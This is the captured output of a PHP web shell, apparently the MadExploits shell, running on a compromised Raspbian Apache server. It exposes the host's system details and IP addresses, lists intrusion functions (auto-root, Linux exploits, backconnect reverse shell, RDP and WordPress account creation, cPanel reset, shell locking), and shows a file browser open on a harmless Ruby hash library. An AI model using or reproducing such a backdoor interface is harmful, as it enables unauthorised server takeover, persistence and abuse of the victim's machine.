Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
hashery /
[ HOME SHELL ]
Name
Size
Permission
Action
association.rb
4.58
KB
-rw-r--r--
casting_hash.rb
3.27
KB
-rw-r--r--
core_ext.rb
2.57
KB
-rw-r--r--
crud_hash.rb
8.64
KB
-rw-r--r--
dictionary.rb
12.46
KB
-rw-r--r--
fuzzy_hash.rb
3.94
KB
-rw-r--r--
ini_hash.rb
8.08
KB
-rw-r--r--
key_hash.rb
1.47
KB
-rw-r--r--
linked_list.rb
4.47
KB
-rw-r--r--
lru_hash.rb
5.6
KB
-rw-r--r--
open_cascade.rb
3.95
KB
-rw-r--r--
open_hash.rb
3.5
KB
-rw-r--r--
ordered_hash.rb
3.18
KB
-rw-r--r--
path_hash.rb
6.82
KB
-rw-r--r--
property_hash.rb
3.53
KB
-rw-r--r--
query_hash.rb
2.19
KB
-rw-r--r--
stash.rb
203
B
-rw-r--r--
static_hash.rb
1.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : key_hash.rb
require 'hashery/crud_hash' module Hashery # The KeyHash class is a Hash class which accepts a block for # normalizing keys. # # The KeyHash class is essentially the same as a normal Hash. # But notice the significant distinction of indifferent key # access. # # s = KeyHash.new # s[:x] = 1 # s[:x] #=> 1 # s['x'] #=> 1 # # We can see that internally the key has indeed been converted # to a String. # # s.to_h #=> {'x'=>1 } # # By default all keys are converted to strings. This has two advantages # over a regular Hash is many usecases. First it means hash entries have # indifferent access. <tt>1</tt>, <tt>"1"</tt> and <tt>:1</tt> are all # equivalent --any object that defines <tt>#to_s</tt> can be used as a key. # Secondly, since strings are garbage collected so will default KeyHash # objects. # # But keys can be normalized by any function. Theses functions can be quite # unique. # # h = KeyHash.new(0){ |k| k.to_i } # h[1.34] += 1 # h[1.20] += 1 # h[1.00] += 1 # h #=> { 1 => 3 } # class KeyHash < CRUDHash # # Unlike a regular Hash, a KeyHash's block sets the `key_proc` rather # than the `default_proc`. # def initialize(*default, &block) super(*default) @key_proc = block || Proc.new{ |k| k.to_s } end end end #class Hash # # # # Convert a Hash to a KeyHash object. # # # def to_keyhash # Hashery::KeyHash[self] # end #end
Close